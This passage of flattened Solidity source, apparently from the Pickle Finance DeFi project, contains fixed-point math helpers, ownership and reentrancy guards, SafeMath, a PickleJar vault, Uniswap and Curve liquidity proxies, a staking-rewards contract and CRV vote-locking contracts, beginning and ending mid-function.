(err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require( msg.sender == nominatedOwner, "You must be nominated before you can accept ownership" ); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require( msg.sender == owner, "Only the contract owner may perform this action" ); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } abstract contract Pausable is Owned { uint256 public lastPauseTime; bool public paused; constructor() internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); // Paused will be false, and lastPauseTime will be 0 upon initialisation } /** * @notice Change the paused state of the contract * @dev Only the contract owner may call this. */ function setPaused(bool _paused) external onlyOwner { // Ensure we're actually changing the state before we do anything if (_paused == paused) { return; } // Set our paused state. paused = _paused; // If applicable, set the last pause time. if (paused) { lastPauseTime = now; } // Let everyone know that our pause state has changed. emit PauseChanged(paused); } event PauseChanged(bool isPaused); modifier notPaused { require( !paused, "This action cannot be performed while the contract is paused" ); _; } } contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract PickleJar is ERC20 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint256 public min = 9500; uint256 public constant max = 10000; address public governance; address public timelock; address public controller; constructor(address _token, address _governance, address _timelock, address _controller) public ERC20( string(abi.encodePacked("pickling ", ERC20(_token).name())), string(abi.encodePacked("p", ERC20(_token).symbol())) ) { _setupDecimals(ERC20(_token).decimals()); token = IERC20(_token); governance = _governance; timelock = _timelock; controller = _controller; } function balance() public view returns (uint256) { return token.balanceOf(address(this)).add( IController(controller).balanceOf(address(token)) ); } function setMin(uint256 _min) external { require(msg.sender == governance, "!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setController(address _controller) public { require(msg.sender == timelock, "!timelock"); controller = _controller; } // Custom logic in here for how much the jars allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint256) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint256 _bal = available(); token.safeTransfer(controller, _bal); IController(controller).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { uint256 _pool = balance(); uint256 _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint256 shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // Used to swap any borrowed reserve over the debt limit to liquidate to 'token' function harvest(address reserve, uint256 amount) external { require(msg.sender == controller, "!controller"); require(reserve != address(token), "token"); IERC20(reserve).safeTransfer(controller, amount); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint256 _shares) public { uint256 r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint256 b = token.balanceOf(address(this)); if (b < r) { uint256 _withdraw = r.sub(b); IController(controller).withdraw(address(token), _withdraw); uint256 _after = token.balanceOf(address(this)); uint256 _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getRatio() public view returns (uint256) { return balance().mul(1e18).div(totalSupply()); } } contract PickleSwap { using SafeERC20 for IERC20; UniswapRouterV2 router = UniswapRouterV2( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; function convertWETHPair( address fromLP, address toLP, uint256 value ) public { IUniswapV2Pair fromPair = IUniswapV2Pair(fromLP); IUniswapV2Pair toPair = IUniswapV2Pair(toLP); // Only for WETH/<TOKEN> pairs if (!(fromPair.token0() == weth || fromPair.token1() == weth)) { revert("!eth-from"); } if (!(toPair.token0() == weth || toPair.token1() == weth)) { revert("!eth-to"); } // Get non-eth token from pairs address _from = fromPair.token0() != weth ? fromPair.token0() : fromPair.token1(); address _to = toPair.token0() != weth ? toPair.token0() : toPair.token1(); // Transfer IERC20(fromLP).safeTransferFrom(msg.sender, address(this), value); // Remove liquidity IERC20(fromLP).safeApprove(address(router), 0); IERC20(fromLP).safeApprove(address(router), value); router.removeLiquidity( fromPair.token0(), fromPair.token1(), value, 0, 0, address(this), now + 60 ); // Convert to target token address[] memory path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; IERC20(_from).safeApprove(address(router), 0); IERC20(_from).safeApprove(address(router), uint256(-1)); router.swapExactTokensForTokens( IERC20(_from).balanceOf(address(this)), 0, path, address(this), now + 60 ); // Supply liquidity IERC20(weth).safeApprove(address(router), 0); IERC20(weth).safeApprove(address(router), uint256(-1)); IERC20(_to).safeApprove(address(router), 0); IERC20(_to).safeApprove(address(router), uint256(-1)); router.addLiquidity( weth, _to, IERC20(weth).balanceOf(address(this)), IERC20(_to).balanceOf(address(this)), 0, 0, msg.sender, now + 60 ); // Refund sender any remaining tokens IERC20(weth).safeTransfer( msg.sender, IERC20(weth).balanceOf(address(this)) ); IERC20(_to).safeTransfer(msg.sender, IERC20(_to).balanceOf(address(this))); } } contract CurveProxyLogic { using SafeMath for uint256; using SafeERC20 for IERC20; function remove_liquidity_one_coin( address curve, address curveLp, int128 index ) public { uint256 lpAmount = IERC20(curveLp).balanceOf(address(this)); IERC20(curveLp).safeApprove(curve, 0); IERC20(curveLp).safeApprove(curve, lpAmount); ICurveZap(curve).remove_liquidity_one_coin(lpAmount, index, 0); } function add_liquidity( address curve, bytes4 curveFunctionSig, uint256 curvePoolSize, uint256 curveUnderlyingIndex, address underlying ) public { uint256 underlyingAmount = IERC20(underlying).balanceOf(address(this)); // curveFunctionSig should be the abi.encodedFormat of // add_liquidity(uint256[N_COINS],uint256) // The reason why its here is because different curve pools // have a different function signature uint256[] memory liquidity = new uint256[](curvePoolSize); liquidity[curveUnderlyingIndex] = underlyingAmount; bytes memory callData = abi.encodePacked( curveFunctionSig, liquidity, uint256(0) ); IERC20(underlying).safeApprove(curve, 0); IERC20(underlying).safeApprove(curve, underlyingAmount); (bool success, ) = curve.call(callData); require(success, "!success"); } } contract UniswapV2ProxyLogic { using SafeMath for uint256; using SafeERC20 for IERC20; IUniswapV2Factory public constant factory = IUniswapV2Factory( 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f ); UniswapRouterV2 public constant router = UniswapRouterV2( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } function getSwapAmt(uint256 amtA, uint256 resA) internal pure returns (uint256) { return sqrt(amtA.mul(resA.mul(3988000).add(amtA.mul(3988009)))) .sub(amtA.mul(1997)) .div(1994); } // https://blog.alphafinance.io/onesideduniswap/ // https://github.com/AlphaFinanceLab/alphahomora/blob/88a8dfe4d4fa62b13b40f7983ee2c646f83e63b5/contracts/StrategyAddETHOnly.sol#L39 // AlphaFinance is gripbook licensed function optimalOneSideSupply( IUniswapV2Pair pair, address from, address to ) public { address[] memory path = new address[](2); // 1. Compute optimal amount of WETH to be converted (uint256 r0, uint256 r1, ) = pair.getReserves(); uint256 rIn = pair.token0() == from ? r0 : r1; uint256 aIn = getSwapAmt(rIn, IERC20(from).balanceOf(address(this))); // 2. Convert that from -> to path[0] = from; path[1] = to; IERC20(from).safeApprove(address(router), 0); IERC20(from).safeApprove(address(router), aIn); router.swapExactTokensForTokens(aIn, 0, path, address(this), now + 60); } function swapUniswap(address from, address to) public { require(to != address(0)); address[] memory path; if (from == weth || to == weth) { path = new address[](2); path[0] = from; path[1] = to; } else { path = new address[](3); path[0] = from; path[1] = weth; path[2] = to; } uint256 amount = IERC20(from).balanceOf(address(this)); IERC20(from).safeApprove(address(router), 0); IERC20(from).safeApprove(address(router), amount); router.swapExactTokensForTokens( amount, 0, path, address(this), now + 60 ); } function removeLiquidity(IUniswapV2Pair pair) public { uint256 _balance = pair.balanceOf(address(this)); pair.approve(address(router), _balance); router.removeLiquidity( pair.token0(), pair.token1(), _balance, 0, 0, address(this), now + 60 ); } function supplyLiquidity( address token0, address token1 ) public returns (uint256) { // Add liquidity to uniswap IERC20(token0).safeApprove(address(router), 0); IERC20(token0).safeApprove( address(router), IERC20(token0).balanceOf(address(this)) ); IERC20(token1).safeApprove(address(router), 0); IERC20(token1).safeApprove( address(router), IERC20(token1).balanceOf(address(this)) ); (, , uint256 _to) = router.addLiquidity( token0, token1, IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), 0, 0, address(this), now + 60 ); return _to; } function refundDust(IUniswapV2Pair pair, address recipient) public { address token0 = pair.token0(); address token1 = pair.token1(); IERC20(token0).safeTransfer( recipient, IERC20(token0).balanceOf(address(this)) ); IERC20(token1).safeTransfer( recipient, IERC20(token1).balanceOf(address(this)) ); } function lpTokensToPrimitive( IUniswapV2Pair from, address to ) public { if (from.token0() != weth && from.token1() != weth) { revert("!from-weth-pair"); } address fromOther = from.token0() == weth ? from.token1() : from.token0(); // Removes liquidity removeLiquidity(from); // Swap from WETH to other swapUniswap(weth, to); // If from is not to, we swap them too if (fromOther != to) { swapUniswap(fromOther, to); } } function primitiveToLpTokens( address from, IUniswapV2Pair to, address dustRecipient ) public { if (to.token0() != weth && to.token1() != weth) { revert("!to-weth-pair"); } address toOther = to.token0() == weth ? to.token1() : to.token0(); // Swap to WETH swapUniswap(from, weth); // Optimal supply from WETH to optimalOneSideSupply(to, weth, toOther); // Supply tokens supplyLiquidity(weth, toOther); // Dust refundDust(to, dustRecipient); } function swapUniLPTokens( IUniswapV2Pair from, IUniswapV2Pair to, address dustRecipient ) public { if (from.token0() != weth && from.token1() != weth) { revert("!from-weth-pair"); } if (to.token0() != weth && to.token1() != weth) { revert("!to-weth-pair"); } address fromOther = from.token0() == weth ? from.token1() : from.token0(); address toOther = to.token0() == weth ? to.token1() : to.token0(); // Remove weth-<token> pair removeLiquidity(from); // Swap <token> to WETH swapUniswap(fromOther, weth); // Optimal supply from WETH to <other-token> optimalOneSideSupply(to, weth, toOther); // Supply weth-<other-token> pair supplyLiquidity(weth, toOther); // Refund dust refundDust(to, dustRecipient); } } contract StakingRewards is ReentrancyGuard, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 7 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsToken, address _stakingToken ) public Owned(_owner) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account] .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } function min(uint256 a, uint256 b) public pure returns (uint256) { return a < b ? a : b; } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external onlyOwner updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 balance = rewardsToken.balanceOf(address(this)); require( rewardRate <= balance.div(rewardsDuration), "Provided reward too high" ); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { // Cannot recover the staking token or the rewards token require( tokenAddress != address(stakingToken) && tokenAddress != address(rewardsToken), "Cannot withdraw the staking or rewards tokens" ); IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); } contract CRVLocker { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant escrow = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2; address public governance; mapping(address => bool) public voters; constructor(address _governance) public { governance = _governance; } function getName() external pure returns (string memory) { return "CRVLocker"; } function addVoter(address _voter) external { require(msg.sender == governance, "!governance"); voters[_voter] = true; } function removeVoter(address _voter) external { require(msg.sender == governance, "!governance"); voters[_voter] = false; } function withdraw(address _asset) external returns (uint256 balance) { require(voters[msg.sender], "!voter"); balance = IERC20(_asset).balanceOf(address(this)); IERC20(_asset).safeTransfer(msg.sender, balance); } function createLock(uint256 _value, uint256 _unlockTime) external { require(voters[msg.sender] || msg.sender == governance, "!authorized"); IERC20(crv).safeApprove(escrow, 0); IERC20(crv).safeApprove(escrow, _value); ICurveVotingEscrow(escrow).create_lock(_value, _unlockTime); } function increaseAmount(uint256 _value) external { require(voters[msg.sender] || msg.sender == governance, "!authorized"); IERC20(crv).safeApprove(escrow, 0); IERC20(crv).safeApprove(escrow, _value); ICurveVotingEscrow(escrow).increase_amount(_value); } function increaseUnlockTime(uint256 _unlockTime) external { require(voters[msg.sender] || msg.sender == governance, "!authorized"); ICurveVotingEscrow(escrow).increase_unlock_time(_unlockTime); } function release() external { require(voters[msg.sender] || msg.sender == governance, "!authorized"); ICurveVotingEscrow(escrow).withdraw(); } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function execute( address to, uint256 value, bytes calldata data ) external returns (bool, bytes memory) { require(voters[msg.sender] || msg.sender == governance, "!governance"); (bool success, bytes memory result) = to.call{value: value}(data); require(success, "!execute-success"); return (success, result); } } contract SCRVVoter { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; CRVLocker public crvLocker; address public constant want = 0xC25a3A3b969415c80451098fa907EC722572917F; address public constant mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant snx = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F; address public constant gaugeController = 0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB; address public constant scrvGauge = 0xA90996896660DEcC6E997655E065b23788857849; mapping(address => bool) public strategies; address public governance; constructor(address _governance, address _crvLocker) public { governance = _governance; crvLocker = CRVLocker(_crvLocker); } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function approveStrategy(address _strategy) external { require(msg.sender == governance, "!governance"); strategies[_strategy] = true; } function revokeStrategy(address _strategy) external { require(msg.sender == governance, "!governance"); strategies[_strategy] = false; } function lock() external { crvLocker.increaseAmount(IERC20(crv).balanceOf(address(crvLocker))); } function vote(address _gauge, uint256 _amount) public { require(strategies[msg.sender], "!strategy"); crvLocker.execute( gaugeController, 0, abi.encodeWithSignature( "vote_for_gauge_weights(address,uint256)", _gauge, _amount ) ); } function max() external { require(strategies[msg.sender], "!strategy"); vote(scrvGauge, 10000); } function withdraw( address _gauge, address _token, uint256 _amount ) public returns (uint256) { require(strategies[msg.sender], "!strategy"); uint256 _before = IERC20(_token).balanceOf(address(crvLocker)); crvLocker.execute( _gauge, 0, abi.encodeWithSignature("withdraw(uint256)", _amount) ); uint256 _after = 